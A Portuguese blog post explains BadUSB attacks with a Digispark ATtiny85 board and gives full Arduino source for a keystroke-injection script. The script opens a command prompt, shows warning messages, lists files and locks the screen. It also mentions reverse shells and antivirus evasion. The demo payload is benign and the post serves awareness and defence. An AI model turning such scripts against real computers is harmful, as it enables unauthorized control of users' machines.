22 de abril de 2020

BadUSB - Digispark Attiny85

Veremos um exemplo de ataque por hardware e como pode ser perigoso.


O BadUSB é um dispositivo que ao ser conectado na porta USB do computador já efetua o ataque.
Não é necessário que o usuário execute e nem clique em nada.

Esses dispositivos quando conectados no computador, podem ser reconhecidos pelo sistema operacional como um teclado e/ou mouse e, dessa forma, controlar a entrada de dados no computador, enviando comandos de teclas pressionadas e movimentos e cliques do mouse.

Assim, é possível criar, copiar e excluir arquivos. Realizar vários tipos de procedimentos no computador atacado.
O dispositivo pode, por exemplo, gerar um script PowerShell e baixar arquivos da internet ou criar um Shell Reverso para realizar um ataque online posteriormente.

Neste exemplo, utilizei a placa Digispark que possui o microcontrolador Attiny85.


A placa já possui o formato para encaixar direto na USB. É pequena e muito barata, pensando nas possibilidades de coisas que podemos inventar com ela.
Também existe o modelo com conector Micro USB fêmea.

Possui as especificações:
  • Microcontrolador Atmel Attiny85
  • Memória flash: 8KB
  • EEPROM: 512 bytes
  • SRAM: 512 bytes
  • 6 pinos de I/O (3 PWM)
  • Tensão de operação: 5VDC (USB) – 7 à 35V (com alimentação externa)
  • Interfaces I2C e SPI
  • Conversor analógico digital em 4 pinos

Alguns antivírus conseguem identificar um possível ataque de BadUSB, porém é possível passar despercebido. Já realizei testes que o antivírus não pegou.

A melhor forma de proteção para esse tipo de ataque é não conectar dispositivos desconhecidos.
O hardware é muito pequeno e pode ser facilmente camuflado dentro de teclados, mouses e pendrives.

O exemplo desta postagem é simples porque a ideia não é desenvolver um malware para publicação.
Aprenda e use com responsabilidade. Para se proteger é preciso conhecer o ataque.

Segue o código fonte com comentários para melhor entendimento:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
/*---------------------------------------------------------
  Programa : EXEMPLO DE BADUSB COM ATTINY85
  Autor    : Fellipe Couto [ http://www.efeitonerd.com.br ]
  Data     : 22/04/2020
  ---------------------------------------------------------*/
#include <DigiKeyboard.h>
const int delayKey = 300;
const int delayLong = 3000;

void setup() {
  //Configura a porta 1 do LED da placa
  pinMode(1, OUTPUT);

  //Win + D
  DigiKeyboard.sendKeyStroke(KEY_D, MOD_GUI_LEFT);
  delay(delayKey);

  //Win + R
  DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT);
  delay(delayKey);

  //Prompt de comando
  DigiKeyboard.println("cmd");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(delayKey);

  //Desativa o echo de comando
  DigiKeyboard.println("@echo off");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(delayKey);

  //Limpa tela
  DigiKeyboard.println("cls");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  //Tela cheia
  DigiKeyboard.sendKeyStroke(KEY_F11);

  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(delayKey);

  //Mensagem de texto
  Writing("  ACESSO AO COMPUTADOR REALIZADO!");
  delay(delayLong);
  Writing("  VISUALIZANDO ARQUIVOS...");
  delay(delayLong);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  //Limpa tela
  DigiKeyboard.println("cls");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(delayKey);

  //Lista arquivos
  DigiKeyboard.println("tree");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(delayLong);

  //Ctrl + c (finaliza o comando em execução tree)
  DigiKeyboard.sendKeyStroke(KEY_C, MOD_CONTROL_LEFT);
  delay(delayKey);

  //Limpa tela
  DigiKeyboard.println("cls");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(delayKey);
  
  //Mensagem de texto
  Writing("  CUIDADO COM DISPOSITIVOS DESCONHECIDOS NA USB!");
  delay(delayLong);
  Writing("  ACESSO FINALIZADO.");
  delay(delayLong);
  DigiKeyboard.sendKeyStroke(KEY_ENTER);

  //Fecha o prompt de comando
  DigiKeyboard.println("exit");
  DigiKeyboard.sendKeyStroke(KEY_ENTER);
  delay(delayKey);

  //Win + L (Bloqueia o computador)
  DigiKeyboard.sendKeyStroke(KEY_L, MOD_GUI_LEFT);

  //Liga o LED para indicar que o script foi finalizado
  digitalWrite(1, HIGH);
}

void loop() {
}

void Writing(String txt) {
  int len = txt.length();
  for (int i = 0; i < len; i++) {
    DigiKeyboard.print(txt.substring(i, i + 1));
    delay(35);
  }
}

2 comentários:

  1. Fellipe vc tem o mapa de caracteres do digispark, pois meus códigos só rodam em teclado americano...

    ResponderExcluir
    Respostas
    1. Bom dia! A função sendKeyStroke já utiliza as constantes da própria biblioteca (KEY_ENTER, KEY_C, KEY_D) [ https://github.com/digistump/DigisparkArduinoIntegration/tree/master/libraries/DigisparkKeyboard ]
      Com o println é possível já passar uma string. Passando uma string de uma posição representaria uma tecla. Seria isso?

      Excluir